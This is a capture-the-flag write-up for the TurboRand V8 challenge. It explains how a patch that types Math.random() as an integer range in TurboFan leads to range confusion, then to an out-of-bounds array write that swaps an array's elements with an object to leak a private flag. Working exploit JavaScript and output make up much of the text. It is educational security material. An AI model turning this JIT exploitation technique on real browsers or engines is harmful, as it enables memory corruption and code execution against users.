Introduction
TurboRand is a v8 exploitation during the TyphoonCTF 2023, this challenge (a.k.a TruboFan is no Fun
) centred around a TurboFan (V8’s optimising compiler) type confusion bug.
For the challenge we provided contenders with multiple files:
Dockerfile
: the same Dockerfile running on the CTF server, used to create the challenge environment.patch.patch
: the vulnerable patch.d8
(andsnapshot_blob.bin
): pre-builtd8
(V8 frontend) containing the vulnerable patch, for convenience.run
: the bash script executed on connection.
Looking Around
Let’s inspect run
(bash script):
#!/bin/bash FILENAME=/tmp/$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo).js cat <<EOF > $FILENAME class Vault { #flag = "" setFlag(flag) { this.#flag = flag; } } const vault = new Vault(); vault.setFlag("$(cat flag.txt)"); EOF echo '--=[ T U R B O R A N D ]=--' echo '' echo '> Welcome!' echo '> Enter your JavaScript and terminate it with a "EOF" line.' while read line do if [[ "$line" == "EOF" ]]; then break fi echo "$line" >> $FILENAME done ./d8 $FILENAME rm $FILENAME
The script writes user-controlled JavaScript to a temporary file, and executes it with the patched d8
. The JavaScript is prefixed with the definition of a vault
object that holds a private flag
property. With only a single setFlag
method, the flag can only be written to, but not read.
patch.patch
contains the following changes:
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index a9bc374552a..7fefb8ba1ee 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -1522,7 +1522,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { } switch (function.shared().builtin_id()) { case Builtin::kMathRandom: - return Type::PlainNumber(); + return Type::Range(0.0, 1.0, t->zone()); case Builtin::kMathFloor: case Builtin::kMathCeil: case Builtin::kMathRound:
Additionally, patch.patch
removes access to d8
-specific builtins (extended API and operating system access) to avoid unintended solutions, and reverts CheckBounds
hardening.
Setting up the challenge locally
Since we got the Dockerfile and all of the needed files to setup the challenge locally, just as it is setup remotely on the CTF server, we’re going to setup the challenge locally to test our theories.
First we’ll build the Dockerfile
to create the CTF image
$ docker build -t turborand . Sending build context to Docker daemon 40.49MB Step 1/9 : FROM pwn.red/jail latest: Pulling from jail 69183ce0eb9b: Pull complete e2fa6b9795a6: Pull complete 3712cc6863e2: Pull complete 63d0f7951762: Pull complete d24073ab1d7b: Pull complete d38814a48431: Pull complete Digest: sha256:cacd8a66d681647ab1b6740b979f55e5788c135d6272f8c8ee5d62e8cfbc167c Status: Downloaded newer image for pwn.red/jail:latest ---> a92a5edc106c Step 2/9 : ENV JAIL_TMP_SIZE=10M ---> Running in 84753972b3cb Removing intermediate container 84753972b3cb ---> c62db640c7c8 Step 3/9 : ENV JAIL_MEM=20M ---> Running in f30a7054a6b9 Removing intermediate container f30a7054a6b9 ---> ae9a519d2e58 Step 4/9 : COPY --from=debian:10.0 / /srv/ 10.0: Pulling from library/debian 4ae16bd47783: Pull complete Digest: sha256:2f04d3d33b6027bb74ecc81397abe780649ec89f1a2af18d7022737d0482cefe Status: Downloaded newer image for debian:10.0 ---> 003da1ec29cf Step 5/9 : RUN mkdir /srv/app/ ---> Running in b0e2121e55fc Removing intermediate container b0e2121e55fc ---> 18e184378461 Step 6/9 : COPY snapshot_blob.bin /srv/app/ ---> 1da8bfeb2b14 Step 7/9 : COPY d8 /srv/app/ ---> a26a72466176 Step 8/9 : COPY flag.txt /srv/app/ ---> 84441913aa7f Step 9/9 : COPY run /srv/app/ ---> 495612e836ed Successfully built 495612e836ed Successfully tagged turborand:latest
Next up, we’ll try to run the docker image we’ve just built and see what we get. Note that we are going to run the docker with a psuedo-TTY (-t) and detached/backgrounded (-d), this is simply to avoid restarting the docker and having it always up and ready for our tests.
$ docker run -t -d --name turobrand turborand:latest
Let’s verify that the docker is running properly
$ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 9a51d4ae0f1e turborand:latest "/jail/run" 4 seconds ago Exited (1) 3 seconds ago turborand $ docker logs turborand error: delegate cgroup: mount cgroup2 to /jail/cgroup/unified: operation not permitted
Ah, pwn.red/jail
requires certain privileges that are not granted by default, this should be easily sorted out by adding the --privileged
option
$ docker run -t -d --privileged --name turborand turborand:latest $ docker logs turborand Mode: LISTEN_TCP Jail parameters: hostname:'app', chroot:'', process:'/app/run', bind:[::]:5000, max_conns:0, max_conns_per_ip:0, time_limit:20, personality:0, daemonize:false, clone_newnet:true, clone_newuser:true, clone_newns:true, clone_newpid:true, clone_newipc:true, clone_newuts:true, clone_newcgroup:true, clone_newtime:false, keep_caps:false, disable_no_new_privs:false, max_cpus:0 Mount: '/' flags:MS_RDONLY type:'tmpfs' options:'' dir:true Mount: '/srv' -> '/' flags:MS_RDONLY|MS_NOSUID|MS_NODEV|MS_BIND|MS_REC|MS_PRIVATE type:'' options:'' dir:true Mount: '/tmp' flags:MS_NOSUID|MS_NODEV type:'tmpfs' options:'size=10485760' dir:true Uid map: inside_uid:1000 outside_uid:1000 count:1 newuidmap:false Gid map: inside_gid:1000 outside_gid:1000 count:1 newgidmap:false Listening on [::]:5000
And we can see that pwn.red/jail
listens on port 5000, so all that’s left to do is expose the port and we’re done with the setup!
$ docker run -t -d --privileged -p 127.0.0.1:5000:5000 --name turborand turborand:latest $ nc 127.0.0.1 5000 --=[ T U R B O R A N D ]=-- > Welcome! > Enter your JavaScript and terminate it with an "EOF" line.
CheckBounds
hardening
Historically, TurboFan had an optimisation where array access bounds checking could be omitted, in case it was known to be safe. For example, in the following snippet:
function f(i) { const arr = [1, 2, 3] if (i >= 0 && i < 3) { return arr[i]; } ... }
i
is known to be in range, and so access to arr
is performed directly, unprotected.
Attackers abused this optimisation (surprise!) to exploit JIT vulnerabilities. Initial primitives were converted to range confusion, where TurboFan believes some variable is in range [0, N)
but the actual value exceeds N
. Then, array access like
const arr = [1, 2, 3]; return arr[i];
wasn’t bounds-checked although i
could be, for example, 5. This technique was used to perform OOB reads and writes, from which the path to RCE is short.
Seeing this, V8 engineers decided to harden bounds checking – to remove the optimisation and always perform bounds checking. Moreover, when TurboFan knows some access must be safe (in bounds) but it turns out not to be during bounds checking, this must be an exploitation attempt or a serious bug, and the process is crashed immediately (by int3
).
The Patch
Let’s analyse the changes it introduces:
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index a9bc374552a..7fefb8ba1ee 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -1522,7 +1522,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { } switch (function.shared().builtin_id()) { case Builtin::kMathRandom: - return Type::PlainNumber(); + return Type::Range(0.0, 1.0, t->zone()); case Builtin::kMathFloor: case Builtin::kMathCeil: case Builtin::kMathRound:
Typer::Visitor::JSCallTyper
provides strict typing to builtin JSCall
nodes (e.g. builtin function calls). For example, TurboFan knows Date.prototype.getMinutes()
must return an integer number between 0 and 59, or NaN in case the date is invalid, and so JSCall
nodes to Date.prototype.getMinutes()
are typed as Union(Range(0, 59), NaN())
. Stricter node typing enables more optimisations, so it’s best to get as accurate as possible.
The patch changes the typing of Math.random()
from the original PlainNumber()
to Range(0, 1)
. The issue isn’t immediately clear – Math.random()
indeed returns a floating-point, pseudo-random number between 0 and 1. What’s wrong?
The Bug
Looking at the documentation for range types (from src/compiler/types.h
) makes the matter clearer:
// RANGE TYPES // // A range type represents a continuous integer interval by its minimum and // maximum value. Either value may be an infinity, in which case that infinity // itself is also included in the range. A range never contains NaN or -0. // // If a value v happens to be an integer n, then Constant(v) is considered a // subtype of Range(n, n) (and therefore also a subtype of any larger range). // In order to avoid large unions, however, it is usually a good idea to use // Range rather than Constant.
Did you spot it? A range type represents an integer interval, but Math.random()
returns a floating-point number!
TurboFan doesn’t like floating-point
Integers get range-tracked. For example, multiplying a Range(1, 2)
-typed node by 2 yields a Range(2, 4)
-typed node, and subtracting 1 from that node yields a Range(1, 3)
-typed node. Since TurboFan makes optimizations based on range bounds, Range
types must remain accurate!
Alas, TurboFan rarely optimises floating-point operations. Possibly because they aren’t as common. They don’t even have a range, but are simply marked using a generic numeric type like PlainNumber
.
The initial “primitive” we are given, therefore, is having a floating-point number typed as a Range
.
Exploitation
So, now what? As CheckBounds
hardening was reverted, the intended solution probably involves escalating our primitive to OOB array access.
Range confusion
The issue is that although we have a double inside an integer range, range tracking still works. Let’s say Math.random()
returns 0.7 and we try to cause a range confusion.
- Addition / Subtraction
- $0.7 + 1 = 1.7 \in \text{Range}(0, 1) + 1 = \text{Range}(1, 2)$
- Multiplication
- $2 * 0.7 = 1.4 \in 2 * \text{Range}(0, 1) = \text{Range}(0, 2)$
- Division is tricky so TurboFan doesn’t bother and types division as the generic
PlainNumber
🙁
Despite having a floating-point value, we still seem to be “trapped” in the integer range.
We need to find a range typing that is only correct for integers. Try to think of a solution yourself. We want to abuse the assumption that Range
-typed nodes are integers to create an incorrectly-ranged node, and are going to do so using arithmetic operations.
Spoilers below!
…
Consider Modulus. For example:
let rand = Math.random(); // Type: Range(0, 1), Value: 0.7 rand = rand + 1; // Type: Range(1, 2), Value: 1.7 rand = rand % 2; // Type: Range(0, 1), Value: 1.7
For TurboFan, Range(1, 2)
means 1 or 2, and so Range(1, 2) % 2
must be either 0 or 1, or Range(0, 1)
. But, since the actual value is 1.7 and 1.7 % 2 === 1.7
(gotta love JavaScript!), we’ve successfully “escaped” the typed range.
Let’s create a simple proof-of-concept to verify:
function f() { let rand = Math.random(); // Type: Range(0, 1), Value: [0, 1) rand = rand + 1; // Type: Range(1, 2), Value: [1, 2) rand = rand % 2; // Type: Range(0, 1), Value: [0, 2) return rand; } // optimization loop for (let i = 0; i < 100000; i++) { f(); } // print a few results for (let i = 0; i < 3; i++) { console.log(f()); } // OUTPUT: // result: 1 // result: 1 // result: 1 // result: 1 // result: 1
Hmm. Not what we expected.. Shouldn’t f()
return doubles?
Turbolizer is a utility to visualise TurboFan node graphs at various optimisation points. We’ll use it for debugging.
Initially, the graph looks as expected:

(Node 25 is the call to Math.random()
, node 30 is the addition, and node 32 is the modulus.)
At some later point (namely, the Simplified Lowering optimization phase), TurboFan understands the best underlying type for the arithmetic operations is 32-bit integers:

The ChangeTaggedToInt32
node converts our precious double to an integer.
To avoid this, we should only perform integer operations that TurboFan represents using floating-point. Large enough numbers ($\ge 2^{32}$), for example, must be represented with floating-point!
Let’s try again:
function f() { let rand = Math.random(); // Type: Range(0, 1), Value: [0, 1) rand = rand * (2 ** 32); // Type: Range(0, 2 ** 32), Value: [0, 2 ** 32) rand = rand % 2; // Type: Range(0, 1), Value: [0, 2) return rand; } ... // OUTPUT: // result: 1 // result: 1 // result: 1 // result: 0 // result: 1
Still integers. Welp. The large multiplication indeed forces a 64-bit floating-point representation, as desired:

But TurboFan performs another optimization and converts the return value to be a 32-bit integer as well. We can disable this optimization by returning an array containing our result instead of returning the result directly:
(Nothing clever, TurboFan simply doesn’t perform this optimisation.)
function f() { let rand = Math.random(); // Type: Range(0, 1), Value: [0, 1) rand = rand * (2 ** 32); // Type: Range(0, 2 ** 32), Value: [0, 2 ** 32) rand = rand % 2; // Type: Range(0, 1), Value: [0, 2) return [rand]; } ... // OUTPUT: // result: 1.9495658874511719 // result: 1.7413358688354492 // result: 1.364476203918457 // result: 0.11797142028808594 // result: 1.9465665817260742
Awesome!
Escalation
Let’s escalate this to a type confusion between Range(0, 1)
and an arbitrary value.
First of all, if you think about it, we’re only interested in modulus results greater than 1. We can simply filter for odd operands, as even floating-point values modulo 2 will always be in [0, 1):
function f() { let rand = Math.random(); // Type: Range(0, 1), Value: [0, 1) rand = rand * (2 ** 32); // Type: Range(0, 2 ** 32), Value: [0, 2 ** 32) /* * In case the number returned from Math.random() yields an odd number at * this point, bail out and retry later. */ if (rand % 2 === 0) return -1; rand = rand % 2; // Type: Range(0, 1), Value: [0, 2) return [rand]; } ... // OUTPUT: // result: 1.2581844329833984 // result: 1.9699935913085938 // result: 1.2264366149902344 // result: -1 // result: 1.4565200805664062
At this point, it’s a matter of math trickery to create the desired confusion:
function f() { let rand = Math.random(); // Type: Range(0, 1), Value: [0, 1) rand = rand * (2 ** 32); // Type: Range(0, 2 ** 32), Value: [0, 2 ** 32) /* * In case the number returned from Math.random() yields an odd number at * this point, bail out and retry later. */ if (rand % 2 === 0) return -1; rand = rand % 2; // Type: Range(0, 1), Value: [0, 2) /* * Multiply by 2 ** 32 to force floating-point representation. Following it, our * floating-point value is finally out-of-bounds, so we can convert it back to an * integer. */ rand = Math.round(rand * (2 ** 32)); // Type: Range(0, 2 ** 32), Value: > 2 ** 32 rand = Math.max(rand, (2 ** 32 - 1)); // Type: Range((2 ** 32) - 1, 2 ** 32), Value: > 2 ** 32 rand = rand - (2 ** 32 - 1); // Type: Range(0, 1), Value: > 1 rand = rand % 10; // Type: Range(0, 1), Value: Range(0, 9) return [rand]; } ... // OUTPUT: // result: 3 // result: -1 // result: 9 // result: 5 // result: -1
Looks good!
OOB access
Remember vault
? It’s there to avoid having to execute arbitrary shellcode to leak the flag, which is a lot of work. Instead, we can leak the private flag property by creating a type confusion.
We’ll confuse vault
(a Vault
object) with an array’s elements (a FixedArray
). Here’s a simplified illustration of how these look in memory:
Vault +-------+--------+--------+--------+ | MAP | PROP | ELEM | FLAG | +-------+--------+--------+--------+ FixedArray +-------+--------+--------+--------+--------+--------+ | MAP | LENGTH | ELEM 0 | ELEM 1 | .... | ELEM N | +-------+--------+--------+--------+--------+--------+
If we swap an array’s elements with vault
, getting the second element should return the flag! V8 assumes the elements of an object will always remain a FixedArray
and does not perform any validations.
An interesting detail is that allocating an array using new Array()
allocates the array’s elements (FixedArray
) before allocating the array itself. This means that new Array(11, 22, 33)
, for example, is going to look as follows in memory:
FixedArray JSArray +-------+--------+--------+--------+--------+ +-------+--------+--------+ | MAP | 03 | 11 | 22 | 33 | | MAP | PROP | ELEM | +-------+--------+--------+--------+--------+ +-------+--------+--------+ (length)
And so, setting the sixth element corresponds to overwriting the array’s elements FixedArray
. Here’s the full proof-of-concept:
function f(idx) { let rand = Math.random(); // Type: Range(0, 1), Value: [0, 1) rand = rand * (2 ** 32); // Type: Range(0, 2 ** 32), Value: [0, 2 ** 32) /* * In case the number returned from Math.random() yields an odd number at * this point, bail out and retry later. */ if (rand % 2 === 0) return -1; rand = rand % 2; // Type: Range(0, 1), Value: [0, 2) rand = Math.round(rand * (2 ** 32)); // Type: Range(0, 2 ** 32), Value: > 2 ** 32 rand = Math.max(rand, (2 ** 32 - 1)); // Type: Range((2 ** 32) - 1, 2 ** 32), Value: > 2 ** 32 rand = rand - (2 ** 32 - 1); // Type: Range(0, 1), Value: > 1 rand = rand % 10; // Type: Range(0, 1), Value: Range(0, 9) // Only overwrite the desired index. if (rand !== idx) return -1; const arr = new Array(11, 22, 33); // Overwrite the elements of arr with vault. arr[rand] = vault; return arr; } // optimization loop for (let i = 0; i < 100000; i++) { f(i % 10); } let arr; while (true) { arr = f(5); // Wait for a successful attempt.. if (arr !== -1) { // Got it! The flag should be in the second element slot. console.log(arr[1]); break; } }
Let’s try it!
$ nc 127.0.0.1 5000 > Welcome! > Enter your JavaScript and terminate it with a "EOF" line. ... EOF SSD{TuRb0R4nD}